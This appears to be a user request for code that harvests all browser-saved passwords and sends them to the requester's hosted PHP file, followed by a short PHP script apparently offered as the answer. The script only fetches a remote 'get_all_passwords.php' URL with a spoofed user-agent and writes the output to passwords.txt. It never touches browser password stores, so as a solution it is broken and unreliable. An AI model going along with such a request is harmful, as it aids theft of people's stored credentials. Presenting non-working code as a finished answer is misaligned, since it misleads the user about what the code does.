Please create a code that has get all passwords stored in browser and then get as txt file in my hosted using php file with all functions as online

<?php
header("Access-Control-Allow-Origin: *");

$url = "http://api.domians.com/get_all_passwords.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);

$myfile = fopen("passwords.txt", "w") or die("Unable to open file!");
$txt = $output;
fwrite($myfile, $txt);
fclose($myfile);
?>